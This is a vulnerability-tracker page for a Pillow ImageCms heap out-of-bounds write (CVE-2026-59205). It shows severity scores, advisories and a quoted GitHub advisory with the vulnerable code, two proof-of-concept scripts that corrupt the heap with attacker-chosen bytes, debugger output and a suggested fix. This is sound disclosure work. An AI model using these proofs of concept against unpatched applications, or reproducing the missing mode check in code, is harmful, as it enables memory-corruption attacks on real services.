CVE-2026-59205

highpriority · track · 0EPSS 0.004 · 32 %ileEUFRUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.39% (32nd) EPSS
CVSS 7.5 · high
Is it mine?
4 products
Check your exposure
Who says so?
5 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · scored 2026-10-27

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.5
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.9–7.5

v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · ENISA EU
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · security-advisories@github.comexploitability 3.9 · impact 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · OSV
v3.16.9mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (4)

Products and version ranges known to be affected.

05

advisories (4)

Vendor and ecosystem advisories describing this.

  • GHSA-9hw9-ch79-4vh6Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch2026-07-20ghsa · osvUS

    ### Summary Pillow's public `ImageCms.ImageCmsTransform.apply(im, imOut)` API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. For example, a transform built as `RGBA -> RGBA` can be applied to an `L` output image. Pillow checks dimensions only, then calls LittleCMS with the output row pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel `L` image row. ### Details `src/PIL/ImageCms.py:ImageCmsTransform.apply()` accepts an optional caller supplied `imOut`: ```python def apply(self, im, imOut=None): if imOut is None: imOut = Image.new(self.output_mode, im.size, None) self.transform.apply(im.getim(), imOut.getim()) imOut.info["icc_profile"] = self.output_profile.tobytes() return imOut ``` If `imOut` is provided, Pillow does not check: ```text im.mode == self.input_mode imOut.mode == self.output_mode ``` The C wrapper in `src/_imagingcms.c` unwraps both image cores and only checks that the output dimensions are at least as large as the input dimensions: ```c static int pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) { if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) { return -1; } for (i = 0; i < im->ysize; i++) { cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize); } pyCMScopyAux(hTransform, imOut, im); return 0; } ``` `findLCMStype()` maps `RGB`, `RGBA`, and `RGBX` transform modes to LittleCMS `TYPE_RGBA_8`, which writes 4 bytes per pixel: ```c case IMAGING_MODE_RGB: case IMAGING_MODE_RGBA: case IMAGING_MODE_RGBX: return TYPE_RGBA_8; ``` So with a transform declared as `RGBA -> RGBA`, LittleCMS writes `4 * width` bytes to each output row. If the supplied output image is mode `L`, Pillow only allocated `1 * width` bytes for that row. For width 4096: ```text destination row allocation: 4096 bytes LittleCMS write size: 16384 bytes overflow: ~12288 bytes past the row ``` The bug does not require a large image. Width 8 was enough to corrupt heap metadata. At width 8, `apply()` returned to Python and printed `after`; glibc detected the corrupted heap later during cleanup. ### PoC Tiny heap corruption trigger: ```python from PIL import Image, ImageCms srgb = ImageCms.createProfile("sRGB") transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA") im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44)) out = Image.new("L", (8, 1), 0) print("before", flush=True) transform.apply(im, out) print("after") ``` Observed locally on Pillow `12.3.0.dev0`: ```text before after free(): invalid next size (normal) Aborted (core dumped) ``` Controlled overwrite evidence PoC: ```python from PIL import Image, ImageCms srgb = ImageCms.createProfile("sRGB") transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA") im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44)) out = Image.new("L", (4096, 1), 0) transform.apply(im, out) ``` Run under gdb: ```bash gdb -q --batch -ex run -ex bt --args \ python3 b022_controlled.py ``` Observed on Pillow `12.3.0.dev0`: ```text Program received signal SIGSEGV, Segmentation fault. ___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241) #1 _cmsLockPrimitive (m=0x4443424144434241) #2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241) #3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241) #4 cmsSaveProfileToIOhandler(...) #5 cmsSaveProfileToMem(...) #6 cms_profile_tobytes (...) at src/_imagingcms.c:152 ``` `0x4443424144434241` is the attacker-controlled source pixel pattern `b"ABCDABCD"` interpreted as a little-endian pointer-sized value. Using source pixels `(1, 2, 3, 4)` similarly produced a faulting pointer of `0x403020104030201`, matching the repeated pixel bytes. ### Impact This is a heap out-of-bounds write in Pillow's native ImageCms extension, reachable through public API. Applications are impacted if untrusted users can control ImageCms transform parameters and/or provide the output image object passed to `ImageCmsTransform.apply()`. The source image pixels influence the bytes written out of bounds. ## Suggested fix Validate modes before calling into the native transform: ```python def apply(self, im, imOut=None): if im.mode != self.input_mode: raise ValueError("input mode mismatch") if imOut is None: imOut = Image.new(self.output_mode, im.size, None) elif imOut.mode != self.output_mode: raise ValueError("output mode mismatch") self.transform.apply(im.getim(), imOut.getim()) imOut.info["icc_profile"] = self.output_profile.tobytes() return imOut ``` The C extension should also defensively reject mismatched image modes before calling `cmsDoTransform()`.

  • BIT-pillow-2026-59205Pillow: Controlled heap out-of-bounds write in `ImageCmsTransform.apply()` via output mode mismatch2026-07-15vendor · osvUS

    Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.

  • CERTFR-2026-AVI-1366Multiples vulnérabilités dans les produits SplunkFrançais2026-10-22vendor · certfrFR
  • PYSEC-2026-34532026-07-14vendor · osvUS

    Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.

06

also known as (7)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-07-14modified 2026-10-24
08

references (13)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan